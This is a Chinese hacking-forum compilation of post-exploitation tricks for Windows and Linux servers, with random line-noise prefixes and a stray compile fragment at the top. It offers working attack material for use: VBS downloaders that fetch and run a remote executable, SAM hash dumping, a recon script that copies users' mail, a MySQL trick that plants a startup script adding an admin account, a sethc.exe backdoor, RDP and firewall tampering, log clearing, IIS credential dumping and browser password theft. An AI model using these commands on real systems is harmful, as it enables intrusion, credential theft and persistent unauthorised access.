: ^3 \4 c6 f+ B+ x+ D8 l* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
* [argp@julius ~]$ ./nfs_mount_ex
*
1 Q) x% `6 h+ l  Z& o- v8 {# }calling nmount()
% \; k6 ~% k( N( I
（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
——————————————
感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
————————————————————————————
- J# R: ^2 s- F: Y5 b: G( O! r1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
8 p5 Z6 V' @) j; B# z+ Falzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
{
注：
关于tar的打包方式,linux不以扩展名来决定文件类型。
. U/ B0 C7 R; J1 i; U若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
}  

+ ]1 T* o& U, \/ |% }8 M4 P8 W' i1 U! g提权先执行systeminfo
. A1 `" `: c) Ztoken 漏洞补丁号 KB956572
& m. b( w' @' T0 i. P2 t( T8 q; vChurrasco          kb952004
& ]1 Q3 t5 R+ Z, ^! O% b* ^命令行RAR打包~~·
$ _! {7 X' E- orar a -k -r -s -m3 c:\1.rar c:\folder
——————————————
2、收集系统信息的脚本  
' m  v% s  u/ dfor window：

3 I- W2 ]8 J- b+ u- e@echo off
0 _. B) `* l, B- Uecho #########system info collection
4 c: w1 m& n2 d/ K- ]: i& tsysteminfo
ver
hostname
net user
net localgroup
0 y, E' z; }/ N6 o6 p2 `, V$ I7 Bnet localgroup administrators
: H, a* L( t4 y- B7 d% l- E( Nnet user guest
' d5 x$ D8 w. a& q( }8 I, @; ?net user administrator
5 s$ V& D, j, U+ T
+ L' L7 G- Y$ oecho #######at- with   atq#####
, G9 T& |5 w( w; R7 v0 zecho schtask /query

, P0 X& t+ |# R, D) ^echo
( e- p9 o$ j1 m, t& O: }  ?5 @" E& becho ####task-list#############
3 x" h  _9 S8 ]# ktasklist /svc
; ^" w% I1 o! e) z+ j: p0 Qecho
echo ####net-work infomation
ipconfig/all
# s5 o9 H) R& ~route print
( S5 _1 g* @; ?% T* k/ rarp -a
netstat -anipconfig /displaydns
echo
* [- o% \8 Q/ B- Y1 ^; s4 ^echo #######service############
& Q1 Z7 d1 r: ]( n8 I: l9 ]% h- {& ksc query type= service state= all
echo #######file-##############
cd \
tree -F
3 m0 k$ y5 M+ Y' [6 D3 gfor linux：

- b1 G4 s3 j$ Q( b- w#!/bin/bash
& w3 S1 T, N2 k% y, C- V; N/ M
7 T- B( i  V5 _" [5 J# |( p$ Pecho #######geting sysinfo####
! D! u" C% t6 O9 \1 Uecho ######usage: ./getinfo.sh >/tmp/sysinfo.txt
echo #######basic infomation##
% E6 r3 j( b1 K: p: B: L* T2 ~cat /proc/meminfo
echo
) q5 \" O2 y/ `5 ^6 Y! scat /proc/cpuinfo
echo
rpm -qa 2>/dev/null
######stole the mail......######
cp -a /var/mail /tmp/getmail 2>/dev/null

+ H2 ?/ C. z: g) @7 m9 I/ s# n5 k
echo 'u'r id is' `id`
echo ###atq&crontab#####
1 F' p& E  i& ^* h- uatq
crontab -l
echo #####about var#####
set
8 p' \9 T! B; N! j
echo #####about network###
####this is then point in pentest,but i am a new bird,so u need to add some in it
. H$ _1 Q3 C/ [cat /etc/hosts
hostname
ipconfig -a
" X9 S1 E6 }' Zarp -v
3 m7 @6 p1 q2 n/ m3 I; m8 ?* [echo ########user####
8 W) E" W. M2 Q. ~( J  T, Lcat /etc/passwd|grep -i sh
; J% X8 f" f3 Z4 D6 f
' y1 R* q* J; r% ~; a6 U0 Qecho ######service####
! ]/ A+ d5 @; H  Cchkconfig --list
+ {4 o! _/ T: ^5 C! w
! i) G6 l% \' C, P) ]6 V2 _for i in {oracle,mysql,tomcat,samba,apache,ftp}
cat /etc/passwd|grep -i $i
done

locate passwd >/tmp/password 2>/dev/null
/ s( B. `& i9 p1 j6 o9 I9 `6 H, L- p( ~$ Zsleep 5
/ L7 s( T0 V5 Ulocate password >>/tmp/password 2>/dev/null
sleep 5
4 f% p6 _' Y# d0 M" H$ @locate conf >/tmp/sysconfig 2>dev/null
( K9 ?, K: Z9 F& |sleep 5
locate config >>/tmp/sysconfig 2>/dev/null
9 R! U8 R# ]& H  t6 |( Usleep 5
! U; ]. M- s! a) K: X9 n- M# v
###maybe can use "tree /"###
1 G! ]' ~; l: o  [5 a. zecho ##packing up#########
" R4 B% R6 A4 N4 rtar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
rm -rf /tmp/getmail /tmp/password /tmp/sysconfig
! f* T+ @* F. e$ q——————————————
9 J% Z3 t* T) x  X6 X# b8 L3、ethash 不免杀怎么获取本机hash。
首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
; W  x, ^$ P4 p5 X4 X               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
hash 抓完了记得把自己的账户密码改过来哦！
! X. h6 n" S$ U) H据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
——————————————
! f% A6 J/ G0 G- |4、vbs 下载者
1
4 r) Y. v- R9 b! u; |echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
! ]2 l8 M1 e1 techo sGet.Type = 1 >>c:\windows\cftmon.vbs
0 \3 ~9 R0 K: T7 techo sGet.Open() >>c:\windows\cftmon.vbs
echo sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
  L2 `+ }) Z6 ^. s' Q# j( J1 k+ necho sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
% B5 {( U/ y0 m0 s$ v3 ?/ Xecho Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
4 c9 I7 l) h1 Z" l# N7 ^echo objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
cftmon.vbs

2
On Error Resume Nextim iRemote,iLocal,s1,s2
iLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
Set xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
Set sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
( E! m8 Y% ]- \4 L5 nsGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2
9 H  A3 w- n' u* S3 `: T
cscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe
% C0 ^% b! ~) \$ g5 T- j* i6 {6 h
当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
  a( q' t- e8 C5 z6 h——————————————————
% L/ y% ?7 |( @# Q6 z5、
9 K; X) o5 @6 k, a7 ]8 c3 ]1.查询终端端口
8 _7 r! i/ g4 y$ |) r* g5 m9 ]; yREG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
, c, u& U  s9 }  g3 n8 `, y. m5 O2.开启XP&2003终端服务
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
3 f! v; d# r1 `% L5 L! h3.更改终端端口为2008(0x7d8)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
" M8 m8 O6 L  C. _: H; ^8 o$ QREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
$ H6 H) p; X9 ?" l8 z# \: I6 |; K4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
1 M! f( L! A$ ?- L9 lREG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
, M1 R+ p- T2 K————————————————
% k$ ^1 g0 l, `6、create table a (cmd text);
$ i' p1 n" S4 X! Finsert into a values ("set wshshell=createobject (""wscript.shell"")");
5 V: H: p5 ?3 uinsert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
————————————————————
' W7 ?1 O( ]% y2 q# k) o7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
_____
# e8 _* @2 \. D: g8、for /d %i in (d:\freehost\*) do @echo %i
, Q; t3 y1 _$ y) U8 `7 o0 |
列出d的所有目录
  
$ F, y8 Q5 P' @6 {5 U3 _9 z  for /d %i in (???) do @echo %i
4 L+ j6 P# a% k$ k) ?% H
把当前路径下文件夹的名字只有1-3个字母的打出来

. f/ c# U7 y) m* d& w/ t2.for /r %i in (*.exe) do @echo %i
  
7 ?& b$ u) @( C  T: W4 k! {以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出
3 F- \, R2 n% L% i* \% `. Z9 d
' R$ ^% m6 t2 P) yfor /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i

3.for /f %i in (c:\1.txt) do echo %i
" \& k6 W+ [0 Z  
' G  d: n; n3 j  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中
3 @# G. J9 {' `5 s" v
/ y& y* c7 ~; p) J) V; H4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i

  delims=后的空格是分隔符 tokens是取第几个位置
——————————
●注册表:
1.Administrator注册表备份:
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg
3 Y& S" Q# X* A# U+ W
2.修改3389的默认端口:
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
修改PortNumber.
, S1 h  Y  Y, d! |  _: ?1 f
3.清除3389登录记录:
reg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f
) R- t5 E* m4 ?6 u# I+ ^, t5 L
, j' z$ j6 k" k- u; @  J) }  [4.Radmin密码:
reg export HKLM\SYSTEM\RAdmin c:\a.reg

1 ~# R* Q; w1 n5.禁用TCP/IP端口筛选(需重启):
+ D- U. W. F: z! ]. p( W# R" W) CREG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f

6.IPSec默认免除项88端口(需重启):
3 t0 i6 C5 j7 [, n) i' L  E7 h3 ereg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
  ?; a* m8 h+ _, T( l; }* x- `- @或者
netsh ipsec dynamic set config ipsecexempt value=0
: Y9 {3 `4 n, @
, c/ H9 z3 H! x: n7.停止指派策略"myipsec":
netsh ipsec static set policy name="myipsec" assign=n

8.系统口令恢复LM加密:
  Z" z  {' a; l( X- \/ Z1 O8 Y% ]  Jreg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f

9.另类方法抓系统密码HASH
reg save hklm\sam c:\sam.hive
: r: }; R7 A4 Y- [0 xreg save hklm\system c:\system.hive
* X3 c* O9 J; K! S) v5 k, {: dreg save hklm\security c:\security.hive
3 a/ C/ x6 S+ O% q% J
% E8 A1 P: h0 U) p. A10.shift映像劫持
+ Q% M7 v; e0 M# k, Sreg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe
& b. Y" i! b7 L/ X% G
; E% I% k! k5 U$ \$ K# ~2 Vreg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
-----------------------------------
. B2 p) C7 ~9 l; r星外vbs(注：测试通过，好东西）
- P3 V" f) Y+ d/ l! U- m7 ZSet ObjService=GetObject("IIS://LocalHost/W3SVC")
6 w1 H7 J4 X* RFor Each obj3w In objservice
childObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
: l( K5 S8 o- P- J' }! h. Iif IsNumeric(childObjectName)=true then
set IIs=objservice.GetObject("IIsWebServer",childObjectName)
if err.number<>0 then
exit for
msgbox("error!")
1 N3 |! \' ]4 L  W8 kwscript.quit
end if
6 Z9 \% j2 X0 j: o6 A" k; @9 `serverbindings=IIS.serverBindings
- p6 P- C; T/ F4 IServerComment=iis.servercomment
  S, Z# _0 }6 V5 t2 F5 ^set IISweb=iis.getobject("IIsWebVirtualDir","Root")
+ I! f9 ^( M; i( E3 a4 Wuser=iisweb.AnonymousUserName
4 B5 _) [4 M& _7 q4 Rpass=iisweb.AnonymousUserPass
path=IIsWeb.path
list=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
8 L' q0 c. e+ q9 f% bend if
Next
: j+ M: t  C/ q; e# Uwscript.echo list
Set ObjService=Nothing
wscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
. f' _# d8 ]$ s  T$ a& ^; D. fWScript.Quit
, h" m; w% p0 T复制代码
----------------------2011新气象，欢迎各位补充、指正、优化。----------------
7 d  c5 [$ l; E# g' ]6 t1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
$ b, d; T" X+ x4 d) v( _5 j) Y: H% j将folder.htt文件，加入以下代码：
1 t+ B7 _& M  {* p6 N7 w/ g<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
- v, q$ c1 ~( H4 u' ^. t* \% L) `' j</OBJECT>
3 R+ L+ N2 O7 e复制代码
然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
7 _- I# k5 T! W; q* }  n& rPS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
- \2 K. P2 k/ B2 o4 Q- Fasp代码，利用的时候会出现登录问题
1 U/ _. I0 M' m8 u, V' l6 c3 z 原因是ASP大马里有这样的代码：（没有就没事儿了）
: k% E" j: d% S  B4 H3 E url=request.severvariables("url")
这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
1 R" X1 j; q  F* S  d 解决方法
" X9 H* s; K& M url=request.severvariables("path_info")
3 P: B3 I2 p* Q% ~7 h8 n% r path_info可以直接呈现虚拟路径 顺利解析gif大马
  O# U# k4 p& j" S
==============================================================
9 b( D' e) n# JLINUX常见路径：

/etc/passwd
* J4 x, ?! k, \4 P8 C/etc/shadow
/etc/fstab
/etc/host.conf
1 I+ L2 }, \1 W7 C9 k/etc/motd
7 r: g" u1 h  h" O+ S/etc/ld.so.conf
/var/www/htdocs/index.php
. M$ [/ E4 H9 \( Q  |: p/var/www/conf/httpd.conf
& n9 l7 {1 h' D2 [4 b( d, J4 j/var/www/htdocs/index.html
4 U; T- B3 J. J. _/var/httpd/conf/php.ini
/var/httpd/htdocs/index.php
& _  N7 @$ r5 ~, \" {2 e; r/var/httpd/conf/httpd.conf
4 ~; Q( s% N% L8 K/var/httpd/htdocs/index.html
/var/httpd/conf/php.ini
/var/www/index.html
/var/www/index.php
2 W4 O2 C' R$ g: }/opt/www/conf/httpd.conf
5 |2 a8 S( s& N% }' n5 f/opt/www/htdocs/index.php
* y6 U( q, L( {) r  Z2 z2 ^9 P/opt/www/htdocs/index.html
/usr/local/apache/htdocs/index.html
/usr/local/apache/htdocs/index.php
: E8 A2 _; W5 m. p2 `- U( ?/usr/local/apache2/htdocs/index.html
/usr/local/apache2/htdocs/index.php
) y. v7 g& O* T. {/usr/local/httpd2.2/htdocs/index.php
& X# l+ w; w! l/usr/local/httpd2.2/htdocs/index.html
: a6 t* Q# n. E) a; K1 c" [: T; i/tmp/apache/htdocs/index.html
/tmp/apache/htdocs/index.php
/etc/httpd/htdocs/index.php
1 E7 Y4 i, |  D+ s3 k0 W/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
/www/php/php.ini
/www/php4/php.ini
8 I9 u# A# B+ D% y# i/www/php5/php.ini
/www/conf/httpd.conf
/www/htdocs/index.php
/www/htdocs/index.html
8 b8 l5 D4 B( T  m. a2 g* d9 Q/usr/local/httpd/conf/httpd.conf
/apache/apache/conf/httpd.conf
$ Y' G/ g5 I% b' r- ?4 T  c/apache/apache2/conf/httpd.conf
4 H# R! |) A5 R# u6 V/etc/apache/apache.conf
- U$ H3 ?5 ^4 R$ [% `# t8 K/etc/apache2/apache.conf
/etc/apache/httpd.conf
* Y! g3 B( r2 c# X* j! C) D; n' g; S/etc/apache2/httpd.conf
! p) I" C: s7 D; r) D/etc/apache2/vhosts.d/00_default_vhost.conf
1 y3 l' p$ Z* }' L# k; i& s/ Y, p/etc/apache2/sites-available/default
* A( r/ k* P* Y/etc/phpmyadmin/config.inc.php
* }( X. _) M+ A  v7 }: C/etc/mysql/my.cnf
/etc/httpd/conf.d/php.conf
6 e7 ]' f  _) d2 l& `' C; C  q! Y/etc/httpd/conf.d/httpd.conf
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
! @% O, Z1 ^, D. ?- @* V& o1 }6 |/etc/httpd/logs/access.log
/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf
/var/log/apache/error_log
7 P* s2 J% J9 `$ N  _. g% w/var/log/apache/error.log
6 q! _- A" v( M: J1 l/var/log/apache/access_log
/var/log/apache/access.log
! t* e" u5 q7 h# g- M/var/log/apache2/error_log
/var/log/apache2/error.log
4 r8 I. A0 g4 |& R/ H/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
7 \4 L) @- U: b8 _" l# H8 `( `! [/var/www/logs/access.log
  b: C& U/ J, l* {) n7 \# v" k/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
( o* {' x) L7 i3 D8 C/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
) ?+ {- G# w6 e# y. q- H/ W/var/log/error_log
$ D! V: c9 R* i) [6 t/var/log/error.log
/var/log/access_log
) S; B$ F9 Q9 J" c% s: k/var/log/access.log
/usr/local/apache/logs/access_logaccess_log.old
/usr/local/apache/logs/error_logerror_log.old
1 L, |. O0 w& B# G+ U0 _/etc/php.ini
/bin/php.ini
1 s1 m* V/ s. v/ O5 C1 T. o! T/etc/init.d/httpd
6 Z# F6 g. B- x9 v5 P% o# n" s/ y/etc/init.d/mysql
0 ~" ]4 J1 j4 F/etc/httpd/php.ini
& J& ?0 B8 \1 l1 h% A+ D  _* c' r/usr/lib/php.ini
! M: D, y# }& r0 r$ F  t- G, r/usr/lib/php/php.ini
, w+ Q: _" f+ @/usr/local/etc/php.ini
' G* o9 ^, y( X8 I/ R1 w+ K$ Z/usr/local/lib/php.ini
% m6 I! U+ F! |# H4 N2 V% T/usr/local/php/lib/php.ini
$ R) R5 {' g& b) |  M$ j3 p/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
/usr/local/php4/lib/php.ini
! s0 X7 K3 ]1 Q$ q3 E" s/usr/local/php5/lib/php.ini
/usr/local/php5/etc/php.ini
/usr/local/php5/php5.ini
6 h7 b3 @5 p' s9 u/usr/local/apache/conf/php.ini
* F+ A+ h9 Y0 Y, b7 }- G2 d6 @/usr/local/apache/conf/httpd.conf
: P$ }' |  M/ V) ^, N/usr/local/apache2/conf/httpd.conf
/usr/local/apache2/conf/php.ini
/etc/php4.4/fcgi/php.ini
7 [) n/ s9 _2 \- ~8 l: y, v6 y/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
- T8 E6 B5 ^, X: @! f  A/ {/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
/etc/php/php.ini
; ?3 V% h5 H" O4 G+ L7 s/etc/php/php4/php.ini
9 w! \, \, }6 c' f/etc/php/apache/php.ini
/etc/php/apache2/php.ini
, G4 e! A- @+ Y( o: D1 ?/web/conf/php.ini
4 F4 o) S" L& b* w+ k8 e' w/usr/local/Zend/etc/php.ini
/opt/xampp/etc/php.ini
1 k/ u" K3 K; R* d/var/local/www/conf/php.ini
/var/local/www/conf/httpd.conf
! R1 E/ Q* R& K, j+ t( ]/etc/php/cgi/php.ini
: ]3 s' B# v+ _2 f/ ^1 `/etc/php4/cgi/php.ini
% E% \7 K4 x: @& A/ Q/etc/php5/cgi/php.ini
6 y* t8 m" j7 \1 B+ G* n/php5/php.ini
/php4/php.ini
) ^: K' y+ h/ Y" T/php/php.ini
3 U: R. U5 A' k1 Z; x/PHP/php.ini
/apache/php/php.ini
/xampp/apache/bin/php.ini
( \9 ~* C$ ~. N$ @% W, a/xampp/apache/conf/httpd.conf
/NetServer/bin/stable/apache/php.ini
/home2/bin/stable/apache/php.ini
" c! E# \* D" b/home/bin/stable/apache/php.ini
4 T) c7 s; R) K5 i0 ]. i+ l/var/log/mysql/mysql-bin.log
! `, R' Y4 u3 C/var/log/mysql.log
/var/log/mysqlderror.log
+ x7 {. ~3 e0 F0 ?: g" H) k2 G/var/log/mysql/mysql.log
4 E! R% e$ c8 R" g9 R$ t% T  I/var/log/mysql/mysql-slow.log
, z% h* X6 H; p: M. \9 D' S! {/var/mysql.log
/var/lib/mysql/my.cnf
/usr/local/mysql/my.cnf
/usr/local/mysql/bin/mysql
/etc/mysql/my.cnf
/etc/my.cnf
- y% h/ a  l3 r% p, t; X2 E/usr/local/cpanel/logs
$ c# N& p9 }! V& y; V* a: H6 S/usr/local/cpanel/logs/stats_log
, k$ I1 d: _! ]: R& f8 c/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
* C/ r) w0 l( ?2 b6 T# E/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
  x( T$ X3 |" W4 A2 i' U, D/usr/local/cpanel/logs/stats_log
/usr/local/share/examples/php4/php.ini
7 z. `7 [" M6 Q" m/usr/local/share/examples/php/php.ini
/ P$ i% X" h% {# G" S. Z" D% w" I
2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）

c:\windows\php.ini
c:\boot.ini
: {2 O5 G' M3 |7 m8 Cc:\1.txt
3 v; y" Q5 j. Nc:\a.txt

c:\CMailServer\config.ini
c:\CMailServer\CMailServer.exe
c:\CMailServer\WebMail\index.asp
6 w: Q7 k/ n/ ^2 K8 A/ zc:\program files\CMailServer\CMailServer.exe
3 p( H7 [. l# ]# @+ cc:\program files\CMailServer\WebMail\index.asp
0 _0 o/ e# j. L+ V  q& VC:\WinWebMail\SysInfo.ini
C:\WinWebMail\Web\default.asp
: I7 {  J: F$ dC:\WINDOWS\FreeHost32.dll
C:\WINDOWS\7i24iislog4.exe
C:\WINDOWS\7i24tool.exe
: G4 u1 @! E; K5 B2 s. \2 o
c:\hzhost\databases\url.asp
( ?( d! w9 M8 a
c:\hzhost\hzclient.exe
3 K" A. V% X# J1 e; G; j, R$ K7 S$ L4 eC:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk
0 @3 A! j9 n( n  l+ y- \$ q5 R
: M& ~" H# y% o: }C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
C:\WINDOWS\web.config
- U0 u$ P5 H* X6 z* d) z" ^, i( zc:\web\index.html
c:\www\index.html
) h, M% P) ^' ~; X& gc:\WWWROOT\index.html
c:\website\index.html
  m, p7 G2 {, Tc:\web\index.asp
% h- q$ I9 o4 {% L- M6 F; t/ Yc:\www\index.asp
2 v0 t+ {6 ^! B. g  u* k8 nc:\wwwsite\index.asp
, _7 J9 I( F5 c# L7 R9 a1 V% O$ w! {c:\WWWROOT\index.asp
" e7 r% v/ G1 B" S' w3 |# Fc:\web\index.php
c:\www\index.php
c:\WWWROOT\index.php
c:\WWWsite\index.php
c:\web\default.html
c:\www\default.html
c:\WWWROOT\default.html
5 V, a. G) \( t6 r6 N: Z9 Qc:\website\default.html
c:\web\default.asp
c:\www\default.asp
1 O8 [; h3 ~1 {/ i4 vc:\wwwsite\default.asp
c:\WWWROOT\default.asp
) g, O" v: S! B% g& c" D% ]& U1 Rc:\web\default.php
c:\www\default.php
c:\WWWROOT\default.php
c:\WWWsite\default.php
# r% z7 c( D) p3 iC:\Inetpub\wwwroot\pagerror.gif
c:\windows\notepad.exe
c:\winnt\notepad.exe
; J" |1 a9 B+ m: dC:\Program Files\Microsoft Office\OFFICE10\winword.exe
C:\Program Files\Microsoft Office\OFFICE11\winword.exe
C:\Program Files\Microsoft Office\OFFICE12\winword.exe
5 e) ]: t8 N! j% K( P; }C:\Program Files\Internet Explorer\IEXPLORE.EXE
# r' \& ~! ?. SC:\Program Files\winrar\rar.exe
C:\Program Files\360\360Safe\360safe.exe
2 W: N% g8 c, n* X# F1 i1 z6 |C:\Program Files\360Safe\360safe.exe
7 T2 T! [: x+ `, A1 UC:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
+ @3 [4 P+ T1 b0 R7 C1 e6 _c:\ravbin\store.ini
, @3 y6 @0 u2 I( X( T, X/ P5 rc:\rising.ini
) o3 d% I0 N/ K3 e8 B6 H" y, TC:\Program Files\Rising\Rav\RsTask.xml
1 ~& a* j/ G/ c. _5 a" H" NC:\Documents and Settings\All Users\Start Menu\desktop.ini
7 @1 i0 n* f- {' e* GC:\Documents and Settings\Administrator\My Documents\Default.rdp
0 E, k7 \4 b4 v% _C:\Documents and Settings\Administrator\Cookies\index.dat
C:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
C:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
C:\Documents and Settings\Administrator\My Documents\1.txt
C:\Documents and Settings\Administrator\桌面\1.txt
C:\Documents and Settings\Administrator\My Documents\a.txt
! e. V' N, s2 @& `5 _5 IC:\Documents and Settings\Administrator\桌面\a.txt
C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
  ]: z/ o, ^) V% Z; A4 xE:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
C:\Program Files\RhinoSoft.com\Serv-U\Version.txt
C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
& L- S) A/ t4 gC:\Program Files\Symantec\SYMEVENT.INF
6 z  J* e' t7 c5 |1 d" |) J4 e& DC:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
C:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
4 S4 {5 E. e1 Q  V0 p. F( OC:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
2 D( S8 a& g' J) p6 k& jC:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
/ g% u: `# z0 z5 [! |' w- H+ GC:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
5 W5 f1 J& r/ M  u9 n8 a, `C:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
C:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
' Y" Y/ F2 L6 T0 o6 `C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
; v: p' g/ D. O' HC:\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
C:\Program Files\MySQL\MySQL Server 5.0\COPYING
) L4 Q! h0 u, r/ l& ]% b7 aC:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
C:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
! X5 F, j4 S) R$ b0 n# Cc:\MySQL\MySQL Server 4.1\bin\mysql.exe
  ~4 @9 U# D! R) E' f. ~c:\MySQL\MySQL Server 4.1\data\mysql\user.frm
C:\Program Files\Oracle\oraconfig\Lpk.dll
% I  ?  O2 s- U  w) IC:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
% C. ?1 y" Q! G( Q& G/ @C:\WINDOWS\system32\inetsrv\w3wp.exe
# x8 g% v% O; pC:\WINDOWS\system32\inetsrv\inetinfo.exe
0 b4 U" ~+ }1 h- ^% e+ hC:\WINDOWS\system32\inetsrv\MetaBase.xml
C:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
% c+ W( f/ l, b8 {/ d1 UC:\WINDOWS\system32\config\default.LOG
C:\WINDOWS\system32\config\sam
C:\WINDOWS\system32\config\system
c:\CMailServer\config.ini
c:\program files\CMailServer\config.ini
